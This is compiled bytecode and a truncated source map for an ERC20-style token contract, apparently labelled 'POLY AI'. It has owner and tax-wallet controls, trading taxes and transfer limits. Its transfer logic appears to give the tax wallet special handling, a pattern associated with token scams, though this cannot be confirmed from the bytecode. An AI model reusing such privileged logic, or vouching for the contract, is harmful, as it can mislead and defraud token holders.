0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610320578063c7003cd014610335578063c9567bf914610349578063dd62ed3e1461035d578063ded06ebc146103a1575f80fd5b80637d1db4a5146102825780638da5cb5b146102975780638f9a55c0146102bd57806395d89b41146102d2578063a9059cbb14610301575f80fd5b8063313ce567116100e3578063313ce567146101f557806351bc3c851461021057806370a0823114610226578063715018a61461025a578063751039fc1461026e575f80fd5b806306fdde0314610129578063095ea7b3146101705780630faee56f1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c1413d316481052481059d95b9d609a1b60208201525b604051610167919061175a565b60405180910390f35b34801561017b575f80fd5b5061018f61018a3660046117ba565b6103c0565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600f5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b46103d6565b3480156101e1575f80fd5b5061018f6101f03660046117e4565b6103f6565b348015610200575f80fd5b5060405160098152602001610167565b34801561021b575f80fd5b5061022461045d565b005b348015610231575f80fd5b506101b4610240366004611822565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b506102246104ae565b348015610279575f80fd5b50610224610528565b34801561028d575f80fd5b506101b4600c5481565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102c8575f80fd5b506101b4600d5481565b3480156102dd575f80fd5b50604080518082019091526007815266504f4c5920414960c81b602082015261015a565b34801561030c575f80fd5b5061018f61031b3660046117ba565b6105d9565b34801561032b575f80fd5b506101b4600e5481565b348015610340575f80fd5b506102246105e5565b348015610354575f80fd5b50610224610611565b348015610368575f80fd5b506101b461037736600461183d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ac575f80fd5b506102246103bb366004611822565b6109a4565b5f6103cc338484610aed565b5060015b92915050565b5f6103e36009600a611968565b6103f190633b9aca00611976565b905090565b5f610402848484610c11565b610453843361044e85604051806060016040528060288152602001611b21602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111a8565b610aed565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461047c575f80fd5b305f90815260016020526040902054801561049a5761049a816111e0565b4780156104aa576104aa81611350565b5050565b5f546001600160a01b031633146104e05760405162461bcd60e51b81526004016104d79061198d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105515760405162461bcd60e51b81526004016104d79061198d565b61055d6009600a611968565b61056b90633b9aca00611976565b600c5561057a6009600a611968565b61058890633b9aca00611976565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b86009600a611968565b6105c690633b9aca00611976565b60405190815260200160405180910390a1565b5f6103cc338484610c11565b6010546001600160a01b0316336001600160a01b031614610604575f80fd5b4761060e81611350565b50565b5f546001600160a01b0316331461063a5760405162461bcd60e51b81526004016104d79061198d565b601254600160a01b900460ff16156106945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d7565b6011546106c09030906001600160a01b03166106b26009600a611968565b61044e90633b9aca00611976565b6012805460ff60b01b1916600160b01b1790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa15801561071b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073f91906119c2565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c291906119c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561080c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083091906119c2565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610877816001600160a01b03165f9081526001602052604090205490565b5f8061088a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f0573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061091591906119dd565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561096a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098e9190611a08565b506012805460ff60a01b1916600160a01b179055565b6010546001600160a01b0316336001600160a01b0316146109c3575f80fd5b306001600160a01b03821603610ab2576040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb9061dead9083906370a08231906024015b602060405180830381865afa158015610a22573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a469190611a27565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610a8e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104aa9190611a08565b6010546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401610a07565b6001600160a01b038316610b4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d7565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d7565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d7565b5f8111610d385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d7565b601254600160b01b900460ff161580610d5a5750601254600160a81b900460ff165b15610d6f57610d6a838383611387565b505050565b5f80546001600160a01b03858116911614801590610d9a57505f546001600160a01b03848116911614155b8015610db457506010546001600160a01b03848116911614155b1561100d57610de56064610ddf600854600b5411610dd457600454610dd8565b6006545b859061142a565b906114af565b6012549091506001600160a01b038581169116148015610e1357506011546001600160a01b03848116911614155b8015610e3757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f1d57600c54821115610e8e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d7565b600d5482610eb0856001600160a01b03165f9081526001602052604090205490565b610eba9190611a3e565b1115610f085760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d7565b600b8054905f610f1783611a51565b91905055505b6012546001600160a01b038481169116148015610f4357506001600160a01b0384163014155b15610f7057610f6d6064610ddf600954600b5411610f6357600554610dd8565b600754859061142a565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610fa657506012546001600160a01b038581169116145b8015610fbb5750601254600160b01b900460ff165b8015610fc85750600e5481115b8015610fd75750600a54600b54115b1561100b57610ff9610ff484610fef84600f546114f0565b6114f0565b6111e0565b4780156110095761100947611350565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061104a57506001600160a01b0383165f9081526003602052604090205460ff165b801561105f57506001600160a01b0384163014155b801561107457506001600160a01b0383163014155b1561107e57436014555b6001600160a01b0384165f9081526003602052604090205460ff161580156110be57506001600160a01b0383165f9081526003602052604090205460ff16155b15611196576012546001600160a01b03848116911614611164576001600160a01b038084165f90815260156020526040902060125490919081169086160361112c5780545f0361112757600a54600b54106111195743611124565b611124600143611a69565b81555b61115e565b6001600160a01b0385165f90815260156020526040902081541580611152575081548154105b1561115c57805482555b505b50611196565b6001600160a01b0384165f908152601560205260409020601454815461118991611504565b6001820155436002909101555b6111a284848484611545565b50505050565b5f81848411156111cb5760405162461bcd60e51b81526004016104d7919061175a565b505f6111d78486611a69565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122657611226611a7c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a191906119c2565b816001815181106112b4576112b4611a7c565b6001600160a01b0392831660209182029290920101526011546112da9130911684610aed565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113129085905f90869030904290600401611a90565b5f604051808303815f87803b158015611329575f80fd5b505af115801561133b573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104aa573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113a99082611504565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546113d7908261156f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c049085815260200190565b5f825f0361143957505f6103d0565b5f6114448385611976565b9050826114518583611b01565b146114a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d7565b9392505050565b5f6114a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cd565b5f8183116114fe57826114a8565b50919050565b5f6114a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a8565b5f6115518584846115f9565b90506115688585836115638787611504565b6116a9565b5050505050565b5f8061157b8385611a3e565b9050838110156114a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d7565b5f81836115ed5760405162461bcd60e51b81526004016104d7919061175a565b505f6111d78486611b01565b6010545f9081906001600160a01b039081169086160361162557601354611620908561142a565b611627565b835b905082156116a157305f90815260016020526040902054611648908461156f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116989087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116cb9083611504565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116f9908261156f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061174c9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117865785810183015185820160400152820161176a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060e575f80fd5b5f80604083850312156117cb575f80fd5b82356117d6816117a6565b946020939093013593505050565b5f805f606084860312156117f6575f80fd5b8335611801816117a6565b92506020840135611811816117a6565b929592945050506040919091013590565b5f60208284031215611832575f80fd5b81356114a8816117a6565b5f806040838503121561184e575f80fd5b8235611859816117a6565b91506020830135611869816117a6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118c257815f19048211156118a8576118a8611874565b808516156118b557918102915b93841c939080029061188d565b509250929050565b5f826118d8575060016103d0565b816118e457505f6103d0565b81600181146118fa576002811461190457611920565b60019150506103d0565b60ff84111561191557611915611874565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611943575081810a6103d0565b61194d8383611888565b805f190482111561196057611960611874565b029392505050565b5f6114a860ff8416836118ca565b80820281158282048414176103d0576103d0611874565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119d2575f80fd5b81516114a8816117a6565b5f805f606084860312156119ef575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a18575f80fd5b815180151581146114a8575f80fd5b5f60208284031215611a37575f80fd5b5051919050565b808201808211156103d0576103d0611874565b5f60018201611a6257611a62611874565b5060010190565b818103818111156103d0576103d0611874565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ae05784516001600160a01b031683529383019391830191600101611abb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b1b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a673dc944471e5d07c6ec7ce5d27f8e8da58d7eedb9a720201457dafa4ec5ba864736f6c63430008170033

Deployed Bytecode Sourcemap

3486:10248:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5552:83;;;;;;;;;;-1:-1:-1;5622:5:0;;;;;;;;;;;;-1:-1:-1;;;5622:5:0;;;;5552:83;;;;;;;:::i;:::-;;;;;;;;6385:161;;;;;;;;;;-1:-1:-1;6385:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6385:161:0;1023:187:1;4501:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4501:52:0;1215:177:1;5829:95:0;;;;;;;;;;;;;:::i;6812:313::-;;;;;;;;;;-1:-1:-1;6812:313:0;;;;;:::i;:::-;;:::i;5738:83::-;;;;;;;;;;-1:-1:-1;5738:83:0;;4116:1;2000:36:1;;1988:2;1973:18;5738:83:0;1858:184:1;13383:348:0;;;;;;;;;;;;;:::i;:::-;;5932:119;;;;;;;;;;-1:-1:-1;5932:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6025:18:0;5998:7;6025:18;;;:9;:18;;;;;;;5932:119;1422:148;;;;;;;;;;;;;:::i;11949:163::-;;;;;;;;;;;;;:::i;4312:54::-;;;;;;;;;;;;;;;;1208:79;;;;;;;;;;-1:-1:-1;1246:7:0;1273:6;1208:79;;-1:-1:-1;;;;;1273:6:0;;;2445:51:1;;2433:2;2418:18;1208:79:0;2299:203:1;4373:56:0;;;;;;;;;;;;;;;;5643:87;;;;;;;;;;-1:-1:-1;5715:7:0;;;;;;;;;;;;-1:-1:-1;;;5715:7:0;;;;5643:87;;6059:167;;;;;;;;;;-1:-1:-1;6059:167:0;;;;;:::i;:::-;;:::i;4436:58::-;;;;;;;;;;;;;;;;12120:192;;;;;;;;;;;;;:::i;12758:580::-;;;;;;;;;;;;;:::i;6234:143::-;;;;;;;;;;-1:-1:-1;6234:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6342:18:0;;;6315:7;6342:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6234:143;12320:330;;;;;;;;;;-1:-1:-1;12320:330:0;;;;;:::i;:::-;;:::i;6385:161::-;6460:4;6477:39;174:10;6500:7;6509:6;6477:8;:39::i;:::-;-1:-1:-1;6534:4:0;6385:161;;;;;:::o;5829:95::-;5882:7;4172:13;4116:1;4172:2;:13;:::i;:::-;4159:26;;:10;:26;:::i;:::-;5902:14;;5829:95;:::o;6812:313::-;6910:4;6927:36;6937:6;6945:9;6956:6;6927:9;:36::i;:::-;6974:121;6983:6;174:10;7005:89;7043:6;7005:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7005:19:0;;;;;;:11;:19;;;;;;;;174:10;7005:33;;;;;;;;;;:37;:89::i;:::-;6974:8;:121::i;:::-;-1:-1:-1;7113:4:0;6812:313;;;;;:::o;13383:348::-;13447:10;;-1:-1:-1;;;;;13447:10:0;174;-1:-1:-1;;;;;13433:24:0;;13425:33;;;;;;13508:4;13469:20;6025:18;;;:9;:18;;;;;;13528:14;;13525:73;;13556:30;13573:12;13556:16;:30::i;:::-;13627:21;13662:12;;13659:65;;13688:24;13701:10;13688:12;:24::i;:::-;13414:317;;13383:348::o;1422:148::-;1335:6;;-1:-1:-1;;;;;1335:6:0;174:10;1335:22;1327:67;;;;-1:-1:-1;;;1327:67:0;;;;;;;:::i;:::-;;;;;;;;;1529:1:::1;1513:6:::0;;1492:40:::1;::::0;-1:-1:-1;;;;;1513:6:0;;::::1;::::0;1492:40:::1;::::0;1529:1;;1492:40:::1;1560:1;1543:19:::0;;-1:-1:-1;;;;;;1543:19:0::1;::::0;;1422:148::o;11949:163::-;1335:6;;-1:-1:-1;;;;;1335:6:0;174:10;1335:22;1327:67;;;;-1:-1:-1;;;1327:67:0;;;;;;;:::i;:::-;4172:13:::1;4116:1;4172:2;:13;:::i;:::-;4159:26;::::0;:10:::1;:26;:::i;:::-;12005:12;:21:::0;4172:13:::1;4116:1;4172:2;:13;:::i;:::-;4159:26;::::0;:10:::1;:26;:::i;:::-;12037:14;:24:::0;12077:27:::1;4172:13;4116:1;4172:2;:13;:::i;:::-;4159:26;::::0;:10:::1;:26;:::i;:::-;12077:27;::::0;1361:25:1;;;1349:2;1334:18;12077:27:0::1;;;;;;;11949:163::o:0;6059:167::-;6137:4;6154:42;174:10;6178:9;6189:6;6154:9;:42::i;12120:192::-;12189:10;;-1:-1:-1;;;;;12189:10:0;174;-1:-1:-1;;;;;12173:26:0;;12165:35;;;;;;12240:21;12272:32;12240:21;12272:12;:32::i;:::-;12154:158;12120:192::o;12758:580::-;1335:6;;-1:-1:-1;;;;;1335:6:0;174:10;1335:22;1327:67;;;;-1:-1:-1;;;1327:67:0;;;;;;;:::i;:::-;12822:11:::1;::::0;-1:-1:-1;;;12822:11:0;::::1;;;12821:12;12813:47;;;::::0;-1:-1:-1;;;12813:47:0;;5410:2:1;12813:47:0::1;::::0;::::1;5392:21:1::0;5449:2;5429:18;;;5422:30;5488:25;5468:18;;;5461:53;5531:18;;12813:47:0::1;5208:347:1::0;12813:47:0::1;12903:15;::::0;12871:58:::1;::::0;12888:4:::1;::::0;-1:-1:-1;;;;;12903:15:0::1;4172:13;4116:1;4172:2;:13;:::i;:::-;4159:26;::::0;:10:::1;:26;:::i;12871:58::-;12940:11;:17:::0;;-1:-1:-1;;;;12940:17:0::1;-1:-1:-1::0;;;12940:17:0::1;::::0;;13003:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;13003:25:0;;;;-1:-1:-1;;;;;13003:15:0;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12985:55:0::1;;13049:4;13056:15;;;;;;;;;-1:-1:-1::0;;;;;13056:15:0::1;-1:-1:-1::0;;;;;13056:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12985:94;::::0;-1:-1:-1;;;;;;12985:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6046:15:1;;;12985:94:0::1;::::0;::::1;6028:34:1::0;6098:15;;6078:18;;;6071:43;5963:18;;12985:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12969:13;:110:::0;;-1:-1:-1;;;;;12969:110:0;;::::1;-1:-1:-1::0;;;;;;12969:110:0;;::::1;;::::0;;13090:15:::1;::::0;::::1;:31;13129:21;13160:4;13166:24;13160:4:::0;-1:-1:-1;;;;;6025:18:0;5998:7;6025:18;;;:9;:18;;;;;;;5932:119;13166:24:::1;13191:1;13193::::0;13195:7:::1;1246::::0;1273:6;-1:-1:-1;;;;;1273:6:0;;1208:79;13195:7:::1;13090:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13090:129:0;;;-1:-1:-1;;;;;6484:15:1;;;13090:129:0::1;::::0;::::1;6466:34:1::0;6516:18;;;6509:34;;;;6559:18;;;6552:34;;;;6602:18;;;6595:34;6666:15;;;6645:19;;;6638:44;13203:15:0::1;6698:19:1::0;;;6691:35;6400:19;;13090:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13237:13:0::1;::::0;13268:15:::1;::::0;13230:71:::1;::::0;-1:-1:-1;;;13230:71:0;;-1:-1:-1;;;;;13268:15:0;;::::1;13230:71;::::0;::::1;7222:51:1::0;-1:-1:-1;;7289:18:1;;;7282:34;13237:13:0;::::1;::::0;-1:-1:-1;13230:29:0::1;::::0;7195:18:1;;13230:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13312:11:0::1;:17:::0;;-1:-1:-1;;;;13312:17:0::1;-1:-1:-1::0;;;13312:17:0::1;::::0;;12758:580::o;12320:330::-;12403:10;;-1:-1:-1;;;;;12403:10:0;174;-1:-1:-1;;;;;12387:26:0;;12379:35;;;;;;12454:4;-1:-1:-1;;;;;12428:31:0;;;12425:217;;12524:30;;-1:-1:-1;;;12524:30:0;;12548:4;12524:30;;;2445:51:1;-1:-1:-1;;;;;12492:14:0;;;;;12515:6;;12492:14;;12524:15;;2418:18:1;;12524:30:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12492:63;;-1:-1:-1;;;;;;12492:63:0;;;;;;;-1:-1:-1;;;;;7240:32:1;;;12492:63:0;;;7222:51:1;7289:18;;;7282:34;7195:18;;12492:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;12425:217::-;12599:10;;12611:30;;-1:-1:-1;;;12611:30:0;;12635:4;12611:30;;;2445:51:1;-1:-1:-1;;;;;12584:14:0;;;;;;12599:10;;;12584:14;;12611:15;;2418:18:1;;12611:30:0;2299:203:1;7133:335:0;-1:-1:-1;;;;;7226:19:0;;7218:68;;;;-1:-1:-1;;;7218:68:0;;8287:2:1;7218:68:0;;;8269:21:1;8326:2;8306:18;;;8299:30;8365:34;8345:18;;;8338:62;-1:-1:-1;;;8416:18:1;;;8409:34;8460:19;;7218:68:0;8085:400:1;7218:68:0;-1:-1:-1;;;;;7305:21:0;;7297:68;;;;-1:-1:-1;;;7297:68:0;;8692:2:1;7297:68:0;;;8674:21:1;8731:2;8711:18;;;8704:30;8770:34;8750:18;;;8743:62;-1:-1:-1;;;8821:18:1;;;8814:32;8863:19;;7297:68:0;8490:398:1;7297:68:0;-1:-1:-1;;;;;7376:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7428:32;;1361:25:1;;;7428:32:0;;1334:18:1;7428:32:0;;;;;;;;7133:335;;;:::o;7476:2897::-;-1:-1:-1;;;;;7569:18:0;;7561:68;;;;-1:-1:-1;;;7561:68:0;;9095:2:1;7561:68:0;;;9077:21:1;9134:2;9114:18;;;9107:30;9173:34;9153:18;;;9146:62;-1:-1:-1;;;9224:18:1;;;9217:35;9269:19;;7561:68:0;8893:401:1;7561:68:0;-1:-1:-1;;;;;7648:16:0;;7640:64;;;;-1:-1:-1;;;7640:64:0;;9501:2:1;7640:64:0;;;9483:21:1;9540:2;9520:18;;;9513:30;9579:34;9559:18;;;9552:62;-1:-1:-1;;;9630:18:1;;;9623:33;9673:19;;7640:64:0;9299:399:1;7640:64:0;7737:1;7723:11;:15;7715:69;;;;-1:-1:-1;;;7715:69:0;;9905:2:1;7715:69:0;;;9887:21:1;9944:2;9924:18;;;9917:30;9983:34;9963:18;;;9956:62;-1:-1:-1;;;10034:18:1;;;10027:39;10083:19;;7715:69:0;9703:405:1;7715:69:0;7802:11;;-1:-1:-1;;;7802:11:0;;;;7801:12;;:21;;-1:-1:-1;7816:6:0;;-1:-1:-1;;;7816:6:0;;;;7801:21;7797:111;;;7839:35;7854:4;7859:2;7862:11;7839:14;:35::i;:::-;7476:2897;;;:::o;7797:111::-;7918:17;1273:6;;-1:-1:-1;;;;;7956:13:0;;;1273:6;;7956:13;;;;:28;;-1:-1:-1;1246:7:0;1273:6;-1:-1:-1;;;;;7973:11:0;;;1273:6;;7973:11;;7956:28;:45;;;;-1:-1:-1;7991:10:0;;-1:-1:-1;;;;;7987:14:0;;;7991:10;;7987:14;;7956:45;7952:1207;;;8030:81;8107:3;8030:72;8057:15;;8047:9;;:25;8046:55;;8087:14;;8046:55;;;8074:12;;8046:55;8030:11;;:15;:72::i;:::-;:76;;:81::i;:::-;8140:13;;8018:93;;-1:-1:-1;;;;;;8132:21:0;;;8140:13;;8132:21;:53;;;;-1:-1:-1;8169:15:0;;-1:-1:-1;;;;;8157:28:0;;;8169:15;;8157:28;;8132:53;:82;;;;-1:-1:-1;;;;;;8192:22:0;;;;;;:18;:22;;;;;;;;8190:24;8132:82;8128:320;;;8259:12;;8244:11;:27;;8236:64;;;;-1:-1:-1;;;8236:64:0;;10315:2:1;8236:64:0;;;10297:21:1;10354:2;10334:18;;;10327:30;10393:27;10373:18;;;10366:55;10438:18;;8236:64:0;10113:349:1;8236:64:0;8358:14;;8343:11;8327:13;8337:2;-1:-1:-1;;;;;6025:18:0;5998:7;6025:18;;;:9;:18;;;;;;;5932:119;8327:13;:27;;;;:::i;:::-;:45;;8319:83;;;;-1:-1:-1;;;8319:83:0;;10799:2:1;8319:83:0;;;10781:21:1;10838:2;10818:18;;;10811:30;10877:28;10857:18;;;10850:56;10923:18;;8319:83:0;10597:350:1;8319:83:0;8421:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8128:320;8473:13;;-1:-1:-1;;;;;8467:19:0;;;8473:13;;8467:19;:42;;;;-1:-1:-1;;;;;;8490:19:0;;8504:4;8490:19;;8467:42;8464:178;;;8542:84;8622:3;8542:75;8569:16;;8559:9;;:26;8558:58;;8601:15;;8558:58;;;8587:13;;8542:11;;:15;:75::i;:84::-;8530:96;;8464:178;8707:4;8658:28;6025:18;;;:9;:18;;;;;;8733:6;;-1:-1:-1;;;8733:6:0;;;;8732:7;:28;;;;-1:-1:-1;8747:13:0;;-1:-1:-1;;;;;8743:17:0;;;8747:13;;8743:17;8732:28;:42;;;;-1:-1:-1;8763:11:0;;-1:-1:-1;;;8763:11:0;;;;8732:42;:83;;;;;8798:17;;8777:20;:38;8732:83;:114;;;;;8828:18;;8818:9;;:28;8732:114;8728:420;;;8867:74;8884:56;8888:11;8901:38;8905:20;8927:11;;8901:3;:38::i;:::-;8884:3;:56::i;:::-;8867:16;:74::i;:::-;8987:21;9031:22;;9027:106;;9078:35;9091:21;9078:12;:35::i;:::-;8848:300;8728:420;8003:1156;7952:1207;-1:-1:-1;;;;;9176:24:0;;;;;;:18;:24;;;;;;;;;:51;;-1:-1:-1;;;;;;9205:22:0;;;;;;:18;:22;;;;;;;;9176:51;9175:75;;;;-1:-1:-1;;;;;;9231:19:0;;9245:4;9231:19;;9175:75;:96;;;;-1:-1:-1;;;;;;9253:18:0;;9266:4;9253:18;;9175:96;9171:156;;;9303:12;9288;:27;9171:156;-1:-1:-1;;;;;9345:24:0;;;;;;:18;:24;;;;;;;;9343:26;:54;;;;-1:-1:-1;;;;;;9375:22:0;;;;;;:18;:22;;;;;;;;9373:24;9343:54;9339:966;;;9423:13;;-1:-1:-1;;;;;9417:19:0;;;9423:13;;9417:19;9413:881;;-1:-1:-1;;;;;9487:14:0;;;9458:26;9487:14;;;:10;:14;;;;;9532:13;;9487:14;;9532:13;;;9524:21;;;;9520:524;;9574:19;;;:24;9570:159;;9659:18;;9649:9;;:28;:56;;9693:12;9649:56;;;9678:14;9691:1;9678:12;:14;:::i;:::-;9627:78;;9570:159;9520:524;;;-1:-1:-1;;;;;9810:16:0;;9777:30;9810:16;;;:10;:16;;;;;9853:19;;:24;;:73;;-1:-1:-1;9907:19:0;;9881:23;;:45;9853:73;9849:176;;;9978:23;;9956:45;;9849:176;9754:290;9520:524;9439:620;9413:881;;;-1:-1:-1;;;;;10117:16:0;;10084:30;10117:16;;;:10;:16;;;;;10207:12;;10179:23;;:41;;:27;:41::i;:::-;10152:24;;;:68;10266:12;10239:24;;;;:39;9413:881;10317:48;10332:4;10338:2;10342:11;10355:9;10317:14;:48::i;:::-;7550:2823;7476:2897;;;:::o;1932:190::-;2018:7;2054:12;2046:6;;;;2038:29;;;;-1:-1:-1;;;2038:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2078:9:0;2090:5;2094:1;2090;:5;:::i;:::-;2078:17;1932:190;-1:-1:-1;;;;;1932:190:0:o;11460:481::-;5175:6;:13;;-1:-1:-1;;;;5175:13:0;-1:-1:-1;;;5175:13:0;;;11562:16:::1;::::0;;11576:1:::1;11562:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11562:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11562:16:0::1;11538:40;;11607:4;11589;11594:1;11589:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11589:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11633:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11633:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11589:7;;11633:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11623:4;11628:1;11623:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11623:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11697:15:::1;::::0;11666:60:::1;::::0;11683:4:::1